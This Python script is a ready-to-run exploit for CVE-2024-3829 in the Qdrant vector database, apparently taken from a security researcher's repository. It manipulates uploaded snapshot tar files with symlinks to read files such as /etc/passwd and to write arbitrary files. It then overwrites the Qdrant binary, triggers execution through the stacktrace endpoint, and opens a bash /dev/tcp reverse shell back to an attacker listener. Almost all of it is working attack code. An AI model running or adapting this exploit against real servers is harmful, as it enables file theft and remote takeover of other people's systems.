import tarfile
from io import BytesIO
from random import randbytes
from argparse import ArgumentParser
from pathlib import Path
import socket
import threading
import os
import requests
import time


def listener(timeout=120):
    global attacker_port
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as srv:
        srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        try:
            srv.bind(("0.0.0.0", attacker_port))
            print(f"[x] Listener started on port {attacker_port}")
            srv.listen(1)
            srv.settimeout(timeout)
            try:
                conn, addr = srv.accept()
            except socket.timeout:
                print(f"[!] Listener timed out after {timeout} seconds")
                return
            
            with conn:
                print(f"[x] Connected from: {addr}")
                data = conn.recv(1024).decode(errors="ignore")
                print(f"[x] RX: {data}")
                conn.sendall(b"pong")
            
        except OSError as e:
            if e.errno == 98:
                print(f"[!] Error: Port {attacker_port} is already in use")
                print("[!] Please use a different port with -ap/--attacker_port option")
            else:
                print(f"[!] Error binding to port {attacker_port}: {e}")


def read_file_content(target_url, target_port, target_path, target_file_name):
    global UNIQUE_PROJECT_NAME

    rsp = requests.put(f"{target_url}:{target_port}/collections/{UNIQUE_PROJECT_NAME}", json={})
    print(f"[x] created collection {UNIQUE_PROJECT_NAME}")

    rsp = requests.post(f"{target_url}:{target_port}/collections/{UNIQUE_PROJECT_NAME}/snapshots", json={})
    # print(f"[x] DEBUG: rsp.text")
    response_json = rsp.json()
    if "result" not in response_json:
        print(f"[x]  API-Fehler: {response_json.get('status', {}).get('error', 'Unbekannter Fehler')}")
        return

    snapshot_name = response_json["result"]["name"]
    print(f"[x] create snapshot with name: {snapshot_name}")

    rsp = requests.get(f"{target_url}:{target_port}/collections/{UNIQUE_PROJECT_NAME}/snapshots/{snapshot_name}")
    snapshot = BytesIO(rsp.content)
    print(f"[x] Getting snapshot with name: {snapshot_name}")

    with tarfile.open(fileobj=snapshot, mode="a") as tar:
        info = tarfile.TarInfo("0/wal/sneaky")
        info.type = tarfile.SYMTYPE
        print("[x] Add symlink to the snapshot tar file")
        info.linkname = str(target_path / target_file_name)
        tar.addfile(info)

    rsp = requests.post(f"{target_url}:{target_port}/collections/{UNIQUE_PROJECT_NAME}/snapshots/upload", files={
        "snapshot": ("x.snapshot", snapshot.getvalue(), "application/tar")
    })
    print("[x] uploaded modified snapshot to recreate collection")

    rsp = requests.post(f"{target_url}:{target_port}/collections/{UNIQUE_PROJECT_NAME}/snapshots", json={})
    print(f"[x] Recreate snapshot with status {rsp.status_code}, \n[x] Response: {rsp.json()}")

    snapshot_name = rsp.json()["result"]["name"]

    rsp = requests.get(f"{target_url}:{target_port}/collections/{UNIQUE_PROJECT_NAME}/snapshots/{snapshot_name}")
    print(f"[x] Download snapshot with status {rsp.status_code}")
    snapshot = BytesIO(rsp.content)

    with tarfile.open(fileobj=snapshot, mode="r") as tar:
        buf = tar.extractfile("0/wal/sneaky").read()

    try:
        print(f"[x] this is the content from the file: {buf.decode()}")
    except UnicodeDecodeError:
        print(f"[x] this is the content from the file (binary): {buf}")

    requests.delete(f"{target_url}:{target_port}/collections/{UNIQUE_PROJECT_NAME}/snapshots/{snapshot_name}")
    print(f"[x] deleted snapshot {snapshot_name}")
    requests.delete(f"{target_url}:{target_port}/collections/{UNIQUE_PROJECT_NAME}")
    print(f"[x] deleted collection {UNIQUE_PROJECT_NAME}")


def write_file_content(target_url, target_port, target_path, attacker_path, attacker_file_name):
    global UNIQUE_PROJECT_NAME
    rsp = requests.put(f"{target_url}:{target_port}/collections/{UNIQUE_PROJECT_NAME}", json={})
    print(f"[x] created collection {UNIQUE_PROJECT_NAME}")

    # create and retrieve a snapshot:
    rsp = requests.post(f"{target_url}:{target_port}/collections/{UNIQUE_PROJECT_NAME}/snapshots", json={})
    snapshot_name = rsp.json()["result"]["name"]

    rsp = requests.get(f"{target_url}:{target_port}/collections/{UNIQUE_PROJECT_NAME}/snapshots/{snapshot_name}")
    snapshot = BytesIO(rsp.content)

    # create a fake tar with payload, you can also set custom file attributes
    # if you need the file to be executable, etc:
    fake_tar = BytesIO()
    with tarfile.open(fileobj=fake_tar, mode="w") as tar:
        # tar.add(str(Path(attacker_path) / attacker_file_name), arcname=str(attacker_file_name))
        tar.add(str(Path(attacker_path) / attacker_file_name), arcname=str(Path(target_path).name))
    # modify the snapshot to add a new segment .tar with a payload and a pre-existing
    # directory symlink with the same name (sans .tar);
    # during recovery process it will try to extract the contents of redirect.tar to redirect/
    with tarfile.open(fileobj=snapshot, mode="a") as tar:
        info = tarfile.TarInfo("0/segments/redirect.tar")
        info.size = len(fake_tar.getvalue())
        tar.addfile(info, fileobj=BytesIO(fake_tar.getvalue()))

        info = tarfile.TarInfo("0/segments/redirect")
        info.type = tarfile.SYMTYPE
        info.linkname = str(Path(target_path).parent)
        tar.addfile(info)

    rsp = requests.post(f"{target_url}:{target_port}/collections/{UNIQUE_PROJECT_NAME}/snapshots/upload", files={
        "snapshot": ("x.snapshot", snapshot.getvalue(), "application/tar")
    })

    # rsp = requests.delete(f"{target_url}:{target_port}/collections/{UNIQUE_PROJECT_NAME}/snapshots/{snapshot_name}")
    # print(f"[x] deleted snapshot {snapshot_name}")
    # rsp = requests.delete(f"{target_url}:{target_port}/collections/{UNIQUE_PROJECT_NAME}")
    # print(f"[x] deleted collection {UNIQUE_PROJECT_NAME}")


def execute_reverse_shell(target_url, target_port, attacker_ip, attacker_port):
    print("[x] Starting reverse shell execution")

    attacker_path = "/tmp/"
    attacker_file_name = "shell.sh"
    target_path = "/tmp/"

    # shell_content = f"#!/bin/bash\n/bin/bash -i >& /dev/tcp/{attacker_ip}/{attacker_port} 0>&1"
    shell_content = f"""#!/bin/bash
                        exec 5<>/dev/tcp/{attacker_ip}/{attacker_port}
                        cat <&5 | while read line; do $line 2>&5 >&5; done
                        """
    shell_local_path = Path(attacker_path) / attacker_file_name
    
    print(f"DEBUG MSG: {shell_local_path}")
    
    with open(str(shell_local_path), 'w') as f:
        f.write(shell_content)

    os.chmod(str(shell_local_path), 0o755)
    print(f"[x] Created reverse shell script at {shell_local_path}")

    write_file_content(target_url, target_port, target_path, attacker_path, attacker_file_name)

    # Now, to trigger RCE, we need to overwrite /qdrant/qdrant with a script that executes the shell.sh
    # As per research, /proc/self/exe points to deleted /qdrant/qdrant, so overwriting it triggers execution
    attacker_path = "/tmp/"
    trigger_file_name = "rev"
    target_path = "/qdrant/qdrant"
    trigger_content = "#!/bin/bash\nbash /tmp/shell.sh"
    trigger_local = Path(attacker_path) / trigger_file_name
    
    print(f"DEBUG MSG: {trigger_local}")
    
    with open(str(trigger_local), 'w') as f:
        f.write(trigger_content)
    os.chmod(str(trigger_local), 0o755)
    print(f"[x] Created trigger script to overwrite {target_path}")

    # Write the trigger script to /qdrant/qdrant
    write_file_content(target_url, target_port, target_path, attacker_path, trigger_file_name)
    print(f"[x] Uploaded trigger script to overwrite {target_path}")
    time.sleep(1)
    target_path = Path("/qdrant/qdrant (deleted)")
    write_file_content(target_url, target_port, target_path, attacker_path, trigger_file_name)
    # as described in the research, this will overwrite /qdrant/qdrant, but /proc/self/exe will
    # now point to /qdrant/qdrant (deleted), lets write contents of trigger_shell to
    # qdrant (deleted) too to trigger the RCE.

    # trigger the shell:
    # http://localhost:6333/stacktrace

    listener_thread = threading.Thread(
        target=listener,
        kwargs={"timeout": None},
        daemon=False
    )
    listener_thread.start()
    print("[x] Triggering RCE via stacktrace endpoint")
    time.sleep(2)
    try:
        print("start triggering stacktrace")
        rsp = requests.get(f"{target_url}:{target_port}/stacktrace")
        print(f"[x] Stacktrace request status: {rsp.status_code}")
    except Exception as e:
        print(f"[x] Error triggering stacktrace: {e}")
    
    print("[x] Waiting for incoming connection...")
    listener_thread.join()


if __name__ == "__main__":
    LOGO = """
 ########################### THIS IS AN EXPLOIT FOR CVE-2024-3829 IN QDRANT 1.9.0-dev ###########################
 _______  __   __  _______         _______  _______  _______  _   ___         _______   _____   _______  _______ 
|       ||  | |  ||       |       |       ||  _    ||       || | |   |       |       | |  _  | |       ||  _    |
|       ||  |_|  ||    ___| ____  |____   || | |   ||____   || |_|   | ____  |___    | | |_| | |____   || | |   |
|       ||       ||   |___ |____|  ____|  || | |   | ____|  ||       ||____|  ___|   ||   _   | ____|  || |_|   |
|      _||       ||    ___|       | ______|| |_|   || ______||___    |       |___    ||  | |  || ______||___    |
|     |_  |     | |   |___        | |_____ |       || |_____     |   |        ___|   ||  |_|  || |_____     |   |
|_______|  |___|  |_______|       |_______||_______||_______|    |___|       |_______||_______||_______|    |___|

 ############################################### by fabse-hack.de ###############################################
        """
    print(LOGO)

    global UNIQUE_PROJECT_NAME, attacker_port
    TARGET_URL_DEFAULT = "http://192.168.178.10"
    TARGET_PORT_DEFAULT = 6333
    ATTACKER_IP_DEFAULT = "127.0.0.1"
    ATTACKER_PORT_DEFAULT = 9001
    UNIQUE_PROJECT_NAME = "project" + randbytes(8).hex()
    parser = ArgumentParser(
        description="PoC for CVE-2024-3829: Arbitrary File Read/Write in qdrant 1.9.0-dev",
        epilog="This script will read the contents of /etc/passwd and write a file with attacker-controlled content to the target server. \n"
               "Make sure to adjust the TARGET_URL, TARGET_PATH_READ, TARGET_PATH_WRITE, ATTACKER_IP, and ATTACKER_PORT variables as needed. \n"
               "For execution documentation: \n"
               "python cve_2024_3829.py --help"
    )
    parser.add_argument("-m", "--mode", choices=["read", "write", "reverse_shell"], required=True, help="Mode: read file, write file, or get an reverse shell")
    
    # target parameter:
    parser.add_argument("-tu", "--target_url", default=TARGET_URL_DEFAULT, help="Target Qdrant base URL")
    parser.add_argument("-tp", "--target_port", type=int, default=TARGET_PORT_DEFAULT, help="Target Qdrant port")
    parser.add_argument("-tpath", "--target_path", default="/etc/", help="Remote path on target host")
    parser.add_argument("-tf", "--target_file_name", default="passwd", help="Remote file name on target host")
    # attacker parameter:
    parser.add_argument("-af", "--attacker_file_name", default="shell.sh", help="Content to write to the target file in write mode")
    parser.add_argument("-apath", "--attacker_path", default="/tmp/", help="Path on target for the file written in write mode")
    parser.add_argument("-ai", "--attacker_ip", default=ATTACKER_IP_DEFAULT, help="Attacker IP for reverse shell")
    parser.add_argument("-ap", "--attacker_port", type=int, default=ATTACKER_PORT_DEFAULT, help="Attacker port for reverse shell")
    args = parser.parse_args()
    # getting parameter into variables for better readability
    # target:
    target_url = args.target_url
    target_port = args.target_port
    target_path = Path(args.target_path)
    target_file_name = args.target_file_name
    # attacker:
    attacker_path = Path(args.attacker_path)
    attacker_file_name = args.attacker_file_name
    attacker_ip = args.attacker_ip
    attacker_port = args.attacker_port
    # mode parameter:
    if args.mode == "read":
        print("[x] Starting exploit in reading mode")
        read_file_content(target_url, target_port, target_path, target_file_name)
    elif args.mode == "write":
        print("[x] Starting exploit in writing mode")
        write_file_content(target_url, target_port, target_path, attacker_path, attacker_file_name)
    elif args.mode == "reverse_shell":
        print("[x] Starting exploit in reverse shell mode")
        execute_reverse_shell(target_url, target_port, attacker_ip, attacker_port)